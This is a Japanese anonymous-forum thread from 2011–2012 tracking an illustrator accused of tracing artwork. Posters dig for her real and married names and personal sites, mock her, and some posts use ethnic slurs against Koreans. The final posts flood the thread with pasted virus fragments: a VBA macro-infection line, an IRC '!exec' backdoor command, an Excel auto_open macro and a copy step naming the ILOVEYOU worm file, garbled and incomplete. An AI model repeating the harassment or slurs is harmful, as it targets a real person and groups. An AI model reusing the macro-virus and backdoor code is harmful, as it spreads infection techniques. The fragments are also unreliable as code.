こんばんワニ
ttp://uproda.2ch-library.com/374149YF4/lib374149.jpg

92 番組の途中ですが名無しです :2011/05/12(木) 02:45:57 ID:zm7p5IBU
ありがとウサギ
投下乙です

93 番組の途中ですが名無しです :2011/05/13(金) 13:45:52 ID:lkleCZ9A
相変わらずのキモさだな。

94 番組の途中ですが名無しです :2011/05/13(金) 16:01:59 ID:8JH5qq3s
ピアプロのゆのみに胸熱メッセージが届いてるから
ウィキは儲やゆのみ自信がそろそろ鎮火したかなーと
様子見に覗きに来てるのではー

95 番組の途中ですが名無しです :2011/05/14(土) 16:49:56 ID:dk8sYcOQ
儲まだいるの!?

96 番組の途中ですが名無しです :2011/05/15(日) 18:08:59 ID:5UBRn/pY
【TwitterVSニコニコ】ボーカロイド(笑)画像集の動画に絵師ブチギレ!Twitterで無断掲載の怒りを拡散中
ttp://hatsukari.2ch.net/test/read.cgi/news/1305437614/

97 番組の途中ですが名無しです :2011/05/16(月) 12:32:41 ID:KIdUs8jQ
去年の祭りに参加できなかったから復活してまた祭りになってほしいわ

98 :2011/05/17(火) 04:21:58 ID:xPwmlQ.Y
すげー
http://p.tl/8ruP

99 番組の途中ですが名無しです :2011/05/17(火) 06:19:30 ID:z7hk8TrM
詳細わからんが>>98は同レス内容がかなりマルチされてるので
URL踏むなら気をつけてね

100 番組の途中ですが名無しです :2011/05/17(火) 14:25:57 ID://d3ZkGA
もう(゚⊿゚)ツマンネ
他にパクってるやついないの?

101 番組の途中ですが名無しです :2011/05/17(火) 23:10:26 ID:nFFA4x6Q
パクが減るのは良いことじゃないか
ゆのみP騒動効果てきめんだな
まあネットに上がらない同人誌とかじゃまだまだ多そうだが
【写真模写】ルクパク検証・ヲチスレ【いくか十割】
ttp://kamome.2ch.net/test/read.cgi/net/1301917758/

102 番組の途中ですが名無しです :2011/05/18(水) 11:38:18 ID:lT8sXesQ
フォロワーがカメラ画集の返金に送ったのに金こねーって言ってんだけど
返金作業今どうなってるの?

103 番組の途中ですが名無しです :2011/05/18(水) 20:41:47 ID:0z6AxZg6
なかったことにするつもりだろう

104 番組の途中ですが名無しです :2011/05/19(木) 00:28:53 ID:.U.nJNCI
それって画集もお金も手元に残らなかったわけか
詐欺じゃねーの

105 番組の途中ですが名無しです :2011/05/19(木) 00:41:25 ID:cYqXgJ.M
消費センターに相談するレベルじゃないの

106 番組の途中ですが名無しです :2011/05/19(木) 22:14:30 ID:vzadQAZs
まだこのスレあったのかwww
旦那の方は芸能コネで景気よさそうだな

107 番組の途中ですが名無しです :2011/05/20(金) 23:15:43 ID:DSIQsKVM
>>102
まじかよ
古川もついったーやってるしその人直接きけばよくね

108 番組の途中ですが名無しです :2011/05/20(金) 23:43:28 ID:Q2O1kei.
今頃何してんのかねw
全く名前見ないもんな
ガツンと干されたか
今後も何となく監視しとかないとな

古川は相変わらず適当に逃げてるのかw
らしいっちゃらしいなw

109 番組の途中ですが名無しです :2011/05/21(土) 13:52:35 ID:tR6pt/3o
この前放送のロンハー見てたらゆのみちゃんを思い出したので久々に来ちゃった☆
http://loda.jp/yunomip/?id=628.jpg

旦那のアルバムのゲストボーカル大物すぎ吹いた
儲かってんなら画集の返金ぐらいせぇよ

110 番組の途中ですが名無しです :2011/05/21(土) 22:51:49 ID:LMGm9DyY
>>107
何回か金返せとかリプ送ったらブロックされたっぽい
消費者センター行けばって勧めたら消費者センターまでの電車賃>画集だから
面倒だっていっててた
電話で相談したんだけれど
本人に一回問い合わせ見てくれ→おk→メルフォどこー?←イマココ
らしい
なにより本人は金返されなくてもまぁいっかって感じだからなぁ
nrnrできればおkむしろ今回の件でかなりnrnrしてるって楽しんでいたww

111 番組の途中ですが名無しです :2011/05/22(日) 01:51:45 ID:HXY6.lOw
んま、電通に金積んでアッピルでもしてもらわんと
鳴かず飛ばずで終わるよ
ニコ厨はネットで絶賛するけど金は出さない連中がほとんどだし

112 番組の途中ですが名無しです :2011/05/26(木) 15:55:37 ID:qSXpUid2
保守っとくか

113 番組の途中ですが名無しです :2011/05/26(木) 22:02:53 ID:2YWG4XEY
元アディダス社員は弗の共通点以上に何か似てるところがあったな
昔から塾でヲチられてたソースが出てきた時はソウルメイトかよと思った

114 番組の途中ですが名無しです :2011/05/28(土) 00:42:45 ID:umN0/CiY
すまん、弗って何?

115 番組の途中ですが名無しです :2011/05/28(土) 01:14:23 ID:qdcNznmY
哀弗

116 番組の途中ですが名無しです :2011/05/28(土) 01:58:26 ID:umN0/CiY
アイドルってことかな。
2ch久しぶりだとすぐ分からなくなるな。
$もアイドル?スレチすまん。

117 番組の途中ですが名無しです :2011/05/28(土) 05:51:53 ID:wf9kbm.o
$も弗も哀弗、ヲチ対象

118 番組の途中ですが名無しです :2011/05/30(月) 06:26:36 ID:5d02Voy.
消費者センターいった奴いるのか?
訴えたら余裕で勝てるぞ

119 番組の途中ですが名無しです :2011/06/07(火) 16:20:19 ID:dgobtqN.
ニコニコ動画からのメールに古川のCDが宣伝されててゆのみ思い出したから来たw

てか逆に金返してもらった人って存在するのかw

120 番組の途中ですが名無しです :2011/06/10(金) 03:44:23 ID:i/Eq0BN.
ttp://blog.livedoor.jp/insidears/archives/52466222.html
※アフィ注意

ゆのみ商法もここまで来ると酷いな

121 番組の途中ですが名無しです :2011/06/11(土) 20:59:21 ID:HzJBytGo
観光会社のトレース&画像パクリ事件でゆのみ思い出したので来ました。

122 番組の途中ですが名無しです :2011/06/11(土) 22:52:27 ID:/EYcCmKg
久しぶりに本名で検索したらfacebookに同姓同名の女性がいたww

123 番組の途中ですが名無しです :2011/06/13(月) 22:06:19 ID:Q3O5JtPo
ミクアーケードでJBFの絵変わったなw

124 番組の途中ですが名無しです :2011/06/14(火) 01:33:51 ID:agISKOE.
えっ本当?

125 番組の途中ですが名無しです :2011/06/14(火) 15:56:45 ID:.7JdBDro
>>123
くわしく

126 >>123 :2011/06/14(火) 22:55:41 ID:YW/qv5cQ
ニコで公開されたアーケード6月配信曲紹介動画にJBFが入ってたんだがそれのジャケットがただのルカになってたw
ttp://www.nicovideo.jp/watch/1307584482
これ見てくれれば分かる。

127 番組の途中ですが名無しです :2011/06/15(水) 08:14:05 ID:Na3rF9Iw
久しぶりにロダに行ってみて変なexeがあって何だろうと思ったら、
avast!がマルウェアと判断してブロックした。
管理人さんもし見てたら削除お願いします。

128 番組の途中ですが名無しです :2011/06/18(土) 18:41:28 ID:HLjECfzQ
626のこと?
アドレスで検索したらブログが引っかかるんだけど何だろう

129 番組の途中ですが名無しです :2011/06/18(土) 21:06:29 ID:p0EK99zE
ゆのみ、後輩ができてよかったなw

130 番組の途中ですが名無しです :2011/06/21(火) 17:58:20 ID:tBWpVUX6
http://www.webdice.jp/dice/detail/3109/
旦那が稼いでくれればおk

131 番組の途中ですが名無しです :2011/06/28(火) 09:57:25 ID:gj20ONGM
ダイワスレにあったので持って来た

871 名前:名無しって呼んでいいか?[sage] 投稿日:2011/06/28(火) 02:54:59.05 ID:???
ゆのみっぽい人のサイト見つけてしまった
きになる人は探してみてね
サイト名はjoy 携帯サイト テニス中心 後はポケモン

132 番組の途中ですが名無しです :2011/06/28(火) 11:44:32 ID:LrdX8WDA
ダイワスレ覗いてみたんだが全員口調きもすぎわろた
なんだあのオカマみたいなノリ

133 番組の途中ですが名無しです :2011/06/28(火) 14:38:05 ID:1weVlgHU
ランキングとか入ってんだろうなと思って探してるけど見つからん
ダイワの人もっとヒントくれないかな

134 番組の途中ですが名無しです :2011/06/29(水) 10:09:49 ID:8rcjhdYU
>>132
ν速民が女のふりして乙女ゲに流れ込んだのが始まり

135 番組の途中ですが名無しです :2011/06/29(水) 13:03:45 ID:O/g0KDkw
> 現在、画像についてのクリアランスを取っている最中らしく、
> 問題をゆのみP氏の方で解決し次第、動画も公開する予定です。

これどうなったんだろうな

136 番組の途中ですが名無しです :2011/06/29(水) 21:36:56 ID:1IZCSztc
白黒つけずになぁなぁでフェードアウトさせるのが鎮火の常套手段だしな
この先も何もしないでしょ

137 番組の途中ですが名無しです :2011/07/01(金) 02:53:47 ID:lqXosxU6
メイコか誰かがアイス抱えてる絵なかったっけ

138 番組の途中ですが名無しです :2011/07/03(日) 20:25:15 ID:UBkUQknA
お前ら一人の有望なイラストレーターの人生を潰したんだよね

139 番組の途中ですが名無しです :2011/07/03(日) 21:12:47 ID:c9FvDXVo
イラストレーター?

(゚Д゚≡゚Д゚)ドコドコ?

140 番組の途中ですが名無しです :2011/07/03(日) 23:34:48 ID:SgQGDjr2
有望?

141 番組の途中ですが名無しです :2011/07/04(月) 01:33:58 ID:fy.bj/y6
無謀なパクラーなら潰したが

142 番組の途中ですが名無しです :2011/07/04(月) 01:44:20 ID:7Xwqs4oo
著作権無視の中国人のようになる前に助けてあげたんだから
感謝の一言くらいあってもいいところだが、まぁいいだろう

143 番組の途中ですが名無しです :2011/07/04(月) 18:40:39 ID:Y3OtKgZg
過疎スレに燃料が
100歩譲ってイラスト以外の部分なら同情の余地はあるけど
さすがにイラストレーターとしてはなあ

144 番組の途中ですが名無しです :2011/07/06(水) 10:09:52 ID:4WPGDGyc
あと一ヶ月で1年経ちそうだけど、
結局PVはどうなったの?手がけたの名曲ばっかなのに、作曲者が本当に可哀想だ

145 番組の途中ですが名無しです :2011/07/09(土) 17:23:50 ID:D/mUQj3s
ボカロ関連スレでも話題にならなくなったしそろそろ復帰しそう

146 番組の途中ですが名無しです :2011/07/09(土) 18:02:47 ID:xYcKbVkQ
明日の大和彼氏イベントでゲームスチル掲載のパンフを販売するらしい
わざわざ買いに行くやつはいないだろうけど一応

商品名 『大和彼氏 ON THE STAGE 2011』パンフレット
価格 2,500円(税込)
発売日 2011年7月10日(イベント限定販売)
ページ数 44P(フルカラー)
商品説明

出演者情報のみに留まらず、ゲームスチル、キャラクターの名セリフ、ゲーム攻略情報に
うろやくき先生書き下ろし漫画も収録。
大和彼氏の魅力がつまったファンブックともいえる豪華な一冊!

「大和彼氏 ON THE STAGE 2011」では開場前グッズ販売を行います。
(16:00〜17:30 チケットをお持ちでないお客様利用可能です)
限定グッズの他にも、ドラマCD・コミックス・アンソロジーなどヤマカレ関連商品をゲットすることができますよ。 
#yamakare7月6日

147 番組の途中ですが名無しです :2011/07/10(日) 20:47:46 ID:iWa95iXs
東方イケメン祭に参加してるゆのみは本人?

148 番組の途中ですが名無しです :2011/07/11(月) 09:03:52 ID:cJ4/3XPo
ん?参加って?

149 番組の途中ですが名無しです :2011/07/11(月) 12:37:33 ID:tTwiUe1Q
それ去年のかな

150 番組の途中ですが名無しです :2011/07/16(土) 13:33:06 ID:Bj3QE3VQ
某漫画のラレのほう、冲方丁氏のコメント

>多少、キャラが似ようが、語彙が似ようが、物語の展開が似ようが、作風が似ようが、
>正当な作品作りをしている限り、誰も問題にしません。
>そうではなく、「ある人が正当な対価を得るのを、邪魔する可能性を作る」こと、
>これが今回の問題の核心であったと考えます。

>作品を世に出す過程で、多くの人間が労力を費やし、時間を割き、アイディアを振り絞っております。
>そうした人々にこそ、対価が支払われるべきである、と考えるのは自然なことでしょう。
>そうでなければ、誰も、作品作りを本業にしたいとは思わなくなります。
>そのような対価を侵害し、正当な報酬を受け取ることができない人々を作ってしまう可能性こそ、
>「著作権侵害」として咎められるべきものなのです。

おらおらゆのみてんてーよく聞けよ

151 番組の途中ですが名無しです :2011/07/18(月) 18:26:58 ID:QETn5/Os
もはやゆのみなんてクズはどうでもいいが
古川が最近またしゃしゃり出て来てうざすぎることこの上ない

152 番組の途中ですが名無しです :2011/07/19(火) 10:14:52 ID:OzYlEsOE
じゃあ古川のスレでも立ててそこで思う存分古川のウザさを
語ればいいさ

153 番組の途中ですが名無しです :2011/07/19(火) 10:21:30 ID:TvnhOIdM
ジャッス!

154 番組の途中ですが名無しです :2011/07/20(水) 01:28:13 ID:PiPwyh2U
【初音ミク】古川Pアンチスレ【アンチの個人情報ゲットだぜ】
http://hibari.2ch.net/test/read.cgi/streaming/1294027497/

155 番組の途中ですが名無しです :2011/07/31(日) 00:32:35 ID:7hy78qYU
あれから一年…の記念日に間に合わなかったけど、まあおめでとうw

156 番組の途中ですが名無しです :2011/08/23(火) 01:06:39 ID:NpWiuonk
78 :名無しさん@お腹いっぱい。:2011/08/15(月) 13:55:19.11 ID:C1W032Mm0
http://www.nicovideo.jp/watch/nm15242700

どういうことだ・・・オイ・・・




79 :名無しさん@お腹いっぱい。:2011/08/15(月) 16:39:56.38 ID:G4bIfg7X0
ぬー=古川確定したね。


80 :名無しさん@お腹いっぱい。:2011/08/17(水) 02:11:48.76 ID:BL3qwZ+l0
「擬態の新人」ワロタ
パク女房もどっかでひっそり絵柄変えて(お得意だものな)新人やってんのかね。
つか、入籍したのかな。どさくさまぎれに破談にもちこんでそう(ゆのみ実家返送)。

157 番組の途中ですが名無しです :2011/08/23(火) 11:29:11 ID:JMgRnCqE
>>156
流れがわからないんだけど、どういうこと?

158 番組の途中ですが名無しです :2011/08/23(火) 12:44:30 ID:PUfHMZKA
古川が活動自粛してたときにスレで話題になってた「期待の新人」がやっぱり古川だったってこと?

自粛は表向きの対応で名前を変えてでも自己顕示欲は満たしますよっと?

159 番組の途中ですが名無しです :2011/08/25(木) 16:19:37 ID:0Z9DTGZA
>>158
そういうことなのかな
thx

160 番組の途中ですが名無しです :2011/09/01(木) 13:45:36 ID:KKv66pHU
ジャッス ビー トレ〜ス

161 kokoro :2011/09/01(木) 18:26:47 ID:XtJ27kNM
>>楽に稼げるアルバイトの件。情報載せておきます(#^^)b! http://tinyurl.k2i.me/Xxso

162 番組の途中ですが名無しです :2011/09/07(水) 16:31:45 ID:E0udamXE
あげ

163 番組の途中ですが名無しです :2011/09/15(木) 16:52:34 ID:Zx843VwQ
あげ

164 番組の途中ですが名無しです :2011/09/16(金) 21:45:21 ID:nvPikoGU
乙女ゲの方に問い合わせがきてたんだけど
これってゆのみ絵?
http://s1.gazo.cc/up/s1_0393.jpg
モバゲの大召喚!!魔宝ファンタジアってゲームの宮尊氏ってキャラクター らしいんだけど

165 番組の途中ですが名無しです :2011/09/18(日) 00:20:29 ID:9AUaUY/Q
あっちでも書いたけど別人の可能性のが高いんじゃないかなー

166 番組の途中ですが名無しです :2011/09/18(日) 00:29:34 ID:mO5P/Kyc
顔の中心線よりもあごがずれてるのはゆのみっぽいんだけどなぁ

167 番組の途中ですが名無しです :2011/09/18(日) 15:25:35 ID:9AUaUY/Q
ていうかそのゲームって絵師の名前はわからないの?

168 番組の途中ですが名無しです :2011/09/18(日) 15:40:26 ID:Wt3P/kkQ
携帯ゲームはpixivとかから適当な素人絵師見繕って描かせてること多いし
カードゲームなら複数、しかもかなり多い人数に描かせてそう

169 番組の途中ですが名無しです :2011/09/26(月) 00:59:50 ID:dPFrf45A
まだTwitterアカウントあるんだ

170 番組の途中ですが名無しです :2011/10/04(火) 15:20:23 ID:GTsbA5mU
age

171 番組の途中ですが名無しです :2011/10/15(土) 22:38:04 ID:DVRc5wdw
wiki
合計: 885437
今日: 287
昨日: 295

「ほとぼりが冷めた頃」にしれっと復活とか考えてるんだろうか
ピーク時よりは減ったけど、それでも皆まだ目を光らせてるね

172 番組の途中ですが名無しです :2011/10/15(土) 22:43:47 ID:DVRc5wdw
>>156の動画が「視聴できません」になってて、新川Pタグを辿ったら
mikiで一曲だけ出てきた。どういうことだ?処女作になってるし

173 番組の途中ですが名無しです :2011/10/22(土) 03:58:22 ID:g.s/XNrE
wikiが未だにアクセスがあることに感動して、久し振りにラレ探ししてみたけど見つからないね
写真は自撮りでなければどこかに元があるはずなんだけどなあ

174 番組の途中ですが名無しです :2011/10/22(土) 11:24:32 ID:/KflvUps
さわ子てんてー復活わろた

175 番組の途中ですが名無しです :2011/10/22(土) 12:27:15 ID:xoBVRiNE
さわ子先生がツイートしてる件、出版社の対応ワロタwww
wordファイルw

176 番組の途中ですが名無しです :2011/10/22(土) 14:15:15 ID:y/ErX2W2
もう活動してないのかなー
テニプリサイト作ってるって書き込みがあったが

177 番組の途中ですが名無しです :2011/10/22(土) 21:57:31 ID:rWCEJ3XE
活動したとしてもバレると思うな
絵の練習してる気がしないし

178 番組の途中ですが名無しです :2011/10/28(金) 02:46:29 ID:pjbGJLGA
もしかして
もうすぐ誕生日?

179 番組の途中ですが名無しです :2011/10/28(金) 11:41:47 ID:SsoPAgds
みんなでお祝いしないとなwww

180 番組の途中ですが名無しです :2011/10/28(金) 11:58:20 ID:u5/HP8DY
このスレはいつまで続くんだよ(´・ω・`)

181 番組の途中ですが名無しです :2011/10/28(金) 15:07:02 ID:kUt3wfBE
細々と記憶に残るんだろうな

182 番組の途中ですが名無しです :2011/10/28(金) 18:13:38 ID:7zAYk7xU
新たにラレが見つかれば活気付くよ

183 番組の途中ですが名無しです :2011/11/03(木) 15:07:09 ID:Y.c9MchY
他人のパクリねたでも「ゆのみって人どうなった?」って必ず話題に出るな

184 番組の途中ですが名無しです :2011/11/03(木) 20:14:46 ID:xheBjVzc
有名になったゆのみ大勝利!!

185 番組の途中ですが名無しです :2011/11/04(金) 23:07:24 ID:gnI6yShs
ネットで二次創作してる人に「ゆのみる」って言えば、どんな状態か説明要らなそう

186 番組の途中ですが名無しです :2011/11/06(日) 06:12:06 ID:l7AhY12E
さわ子先生精力的w
それに比べてゆのみPは今何してんの?

187 番組の途中ですが名無しです :2011/11/09(水) 00:06:01 ID:1gQ3CwVk
こいつ前もなんかやってなかったか?

188 番組の途中ですが名無しです :2011/11/09(水) 19:58:22 ID:o/C4tCwA
ジミーサムP(ゆのみがコイツのアルバムジャケット描いた)の盗作がばれたらしいな。ざまあ。

189 番組の途中ですが名無しです :2011/11/09(水) 21:03:33 ID:LdkSMIWo
近朱必赤というか同類相求というか
身近に問題起こしたやつがいるってのにな

190 番組の途中ですが名無しです :2011/11/10(木) 12:36:58 ID:Uq5WgmkE
ジミーサムPの盗作でなんかゆのみ思い出したから来てみた。
真実は分からんけど、ゆのみにジャケット描いてもらうくらいだから
やっぱ類は友を呼ぶのか、とか思ってしまったww

191 番組の途中ですが名無しです :2011/11/10(木) 13:43:03 ID:2TjzLuww
あぁ、あの「膝どうなってんだ!」っていうジャケねww
いま尼で見てきたけどやっぱりキモイwww
類は友を呼ぶんじゃなくてカスしか集まってないんだよ最初から

192 番組の途中ですが名無しです :2011/11/10(木) 21:05:11 ID:mdIVk2lY
ゆのみ誕生日age

193 番組の途中ですが名無しです :2011/11/11(金) 11:10:58 ID:5r2JRwxs
誕生日だったのか忘れてたわ
じゃあ
         ━━━━━━━一
         ━━━━━━━一   ポッキーとか置いておきますね
         ━━━━━━━━
         ━━━━━━━━  ← トッポ
.   ∧__,,∧   ━━━━━━━━
   ( ´・ω・)   ━━━━━━━━
.   /ヽ○==○――――――――一 ← プリッツ
  /  ||_ | ――――――――一
  し' ̄(_)) ̄(_)) ̄(_)) ̄(_)) ̄(_))

194 番組の途中ですが名無しです :2011/11/14(月) 17:41:59 ID:uFqMA1rw
ミクのパクリもココまでくればorz
http://www.hancinema.net/korean_Han_Hyo-joo.php

195 番組の途中ですが名無しです :2011/11/16(水) 09:51:50 ID:vcmmH28I
さらしage

196 番組の途中ですが名無しです :2011/11/17(木) 23:54:55 ID:270aPaMk
age

197 番組の途中ですが名無しです :2011/11/19(土) 13:21:13 ID:mzavTFfk
なぜかゲームが出る頃になるとパクリが発覚するなw

198 番組の途中ですが名無しです :2011/11/19(土) 15:06:52 ID:Ds8rR2uI
大和彼氏パンフより

583 :名無しって呼んでいいか?:2011/11/19(土) 14:50:53.96 ID:???
とりあえずラフをアップしてみたわ><写真がアレなのは許して><
でも検証人さんたちっていらっしゃるのかしら><

ttp://loda.jp/yunomip/?id=633.jpg
ttp://loda.jp/yunomip/?id=634.jpg
ttp://loda.jp/yunomip/?id=635.jpg
ttp://loda.jp/yunomip/?id=636.jpg
ttp://loda.jp/yunomip/?id=637.jpg
ttp://loda.jp/yunomip/?id=638.jpg
ttp://loda.jp/yunomip/?id=639.jpg

199 番組の途中ですが名無しです :2011/11/19(土) 15:15:36 ID:OB2V50Gg
色々と酷いww

200 番組の途中ですが名無しです :2011/11/19(土) 15:45:04 ID:7hPgzqSg
残滓がまだあったか

201 番組の途中ですが名無しです :2011/11/21(月) 00:26:41 ID:EWmhQTZY
アタリ線の意味の無さが伝説級

202 番組の途中ですが名無しです :2011/11/21(月) 09:15:24 ID:/Gx0NY3Q
カズアキスレで話題になってるよ
まだ皆「ゆのみ」って名前を忘れてないよ よかったねゆのみたんww

80 名前:名無しさん@ゴーゴーゴーゴー![sage] 投稿日:2011/11/20(日) 00:55:54.56 ID:BmSGwNfh0
後ろの生命体?を守る警備員?みたいな設定らしい

銃はモデルガンとかの商品写真丸写し+奥行き付け足しだよね
ああいう写真って大抵真横から写したやつばっかりだから

紙飛行機パクトレしてたパクラー居たなぁゆのみだっけ

203 番組の途中ですが名無しです :2011/11/24(木) 16:40:46 ID:BLCHIVnE
>>198
南胴くん!

204 番組の途中ですが名無しです :2011/11/30(水) 21:05:06 ID:pcIep9Mc
age

205 番組の途中ですが名無しです :2011/12/03(土) 19:59:07 ID:SIM.OYL6
>>202
だいぶ経つのにこうやって思い出されるってことは
もう消えることは無いな
よかったなゆのみw

206 番組の途中ですが名無しです :2011/12/09(金) 14:50:25 ID:tlhUVTJA
ダシマスター見て思い出したので来てみた

207 番組の途中ですが名無しです :2011/12/09(金) 15:00:15 ID:3V1xIt.Q
206がsageてるのでageてみる

208 番組の途中ですが名無しです :2011/12/09(金) 15:48:20 ID:ZvsQMEm.
イメナビパクリマスターのゆのみを思い出したので久し振りに

209 番組の途中ですが名無しです :2011/12/09(金) 20:57:34 ID:0XUZTOuk
チョン流のゴリ押しでパクリ行為まで浸透し始めたようで

210 番組の途中ですが名無しです :2011/12/10(土) 16:13:44 ID:mOJ884/k
>>198
最後の鰹、ほんだしのロゴの鰹と鼻先〜目の位置が重なるんだけど
ラフな上に財布の形に改変されてるから認定はムリか
ちなみにほんだしの鰹の絵は鰹にしては目の位置が後ろで結構特殊

211 番組の途中ですが名無しです :2011/12/17(土) 02:59:29 ID:toHybKr6
誰か吉田秋生のBANANA FISHって漫画のイラスト集か、
1993年のカレンダー持ってる人いない?
このカレンダーの表紙見て
http://loda.jp/yunomip/?id=506 これ思い出したんだけど
気付いたのが破って捨てようとした時で検証できねぇ

212 番組の途中ですが名無しです :2011/12/17(土) 14:22:22 ID:YxbWC6/6
エンジェル・アイズならもってるけどそれらしき絵が載ってない……

213 番組の途中ですが名無しです :2011/12/19(月) 01:04:59 ID:H.QBU51Q
これ誰を描いたつもりなんだ、金髪だからレン?

214 211 :2011/12/19(月) 03:10:55 ID:1bB4R11c
>>212
まじかぁ…
ググったら93年のカレンダーイラストは全て収録されてるような事が書いてあった気がしたんだが…
ちなみにゆのみのとは左右反転状態で、アッシュのイラストだったよ
画像検索でも出てこないんだよなぁ。
何でわざわざ細切れにして捨てたし俺…

215 番組の途中ですが名無しです :2011/12/19(月) 12:38:38 ID:Se0mMq5Y
>>211
藤原薫もこんな感じの描いてたような

216 番組の途中ですが名無しです :2012/01/04(水) 11:20:22 ID:2v.skJKg
遅くなったけど
あけましておめでとうゆのみたん!
今年も懲りずにageていくからねぇ

217 番組の途中ですが名無しです :2012/01/15(日) 22:26:32 ID:jq.pNWoA
age

218 番組の途中ですが名無しです :2012/01/18(水) 18:28:17 ID:PWfxUpBs
もう1年以上経つのか・・・
プロイラストレーターデビューの見切り発車で会社辞めちゃってたけど
再就職はしたのかな?
古川とかいう胡散臭いのと無事結婚してパート主婦でもやってるのかな

219 番組の途中ですが名無しです :2012/01/19(木) 13:53:25 ID:Jh9dAZ6A
>古川とかいう胡散臭いのと無事結婚してパート主婦
っていうのがいいなぁ
ニラヲチ対象としては前者がおもしろいけど

220 番組の途中ですが名無しです :2012/01/20(金) 19:27:01 ID:60BbcuLk
旧姓本名と言われている名前・新姓本名と言われている名前、
両方でぐぐってみたが何も出てこない。当たり前か。

221 番組の途中ですが名無しです :2012/01/20(金) 19:43:52 ID:9GoyY5OY
みんなで投票してロンドン・オリンピックを乗っ取ろうぜ
http://www.hancinema.net/korean_drama_Dong_Yi.php

222 番組の途中ですが名無しです :2012/01/21(土) 07:20:22 ID:6I0XRqtc
↑またお前か
アクセス数稼ぎ乙
URLをNGにぶち込みオススメ

223 番組の途中ですが名無しです :2012/01/25(水) 16:59:12 ID:MgKrTQYw
確かに韓国の女は日本に比べて就職できなくても大学へ行って
高学歴だよな?
http://www.hancinema.net/korean_drama_Dong_Yi.php

224 番組の途中ですが名無しです :2012/01/25(水) 21:50:37 ID:9JeL7k6c
学歴高いからって人間として優秀とまでは言えない

225 番組の途中ですが名無しです :2012/01/26(木) 10:05:16 ID:VZ6y2pLg
あっちの国の女は就職できるか否かは
整形の担当医の腕にかかっているからな
あと枕営業

226 番組の途中ですが名無しです :2012/01/27(金) 00:08:46 ID:MElhtnMg
花札騒動で久々にさわ子先生を見た

227 番組の途中ですが名無しです :2012/01/28(土) 18:44:44 ID:kK.UFSmE
やっぱ、世界中で凄いことになってるのわかるわw
http://www.hancinema.net/korean_So_Ji-sub.php

動画サイトでも本当上位に入ってるんだ

228 番組の途中ですが名無しです :2012/01/28(土) 22:58:24 ID:WZQBMo2w
朝鮮工作員乙

229 番組の途中ですが名無しです :2012/01/30(月) 15:23:27 ID:hjaYe25w
世界中で現在進行形で恥を晒している朝鮮人と
日本のニコニコ界隈だけで恥を晒したゆのみとを一緒にしてはいけない

230 番組の途中ですが名無しです :2012/01/31(火) 16:35:41 ID:z9m94Fz2
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-

231 番組の途中ですが名無しです :2012/01/31(火) 16:36:17 ID:z9m94Fz2
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-

232 番組の途中ですが名無しです :2012/01/31(火) 16:36:48 ID:z9m94Fz2
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-

233 番組の途中ですが名無しです :2012/01/31(火) 16:37:19 ID:z9m94Fz2
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-

234 番組の途中ですが名無しです :2012/01/31(火) 16:37:51 ID:z9m94Fz2
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-

235 番組の途中ですが名無しです :2012/01/31(火) 16:38:22 ID:z9m94Fz2
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-

236 番組の途中ですが名無しです :2012/01/31(火) 16:38:53 ID:z9m94Fz2
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-

237 番組の途中ですが名無しです :2012/01/31(火) 16:39:23 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

238 番組の途中ですが名無しです :2012/01/31(火) 16:39:59 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

239 番組の途中ですが名無しです :2012/01/31(火) 16:40:30 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

240 番組の途中ですが名無しです :2012/01/31(火) 16:41:00 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

241 番組の途中ですが名無しです :2012/01/31(火) 16:41:31 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

242 番組の途中ですが名無しです :2012/01/31(火) 16:42:03 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



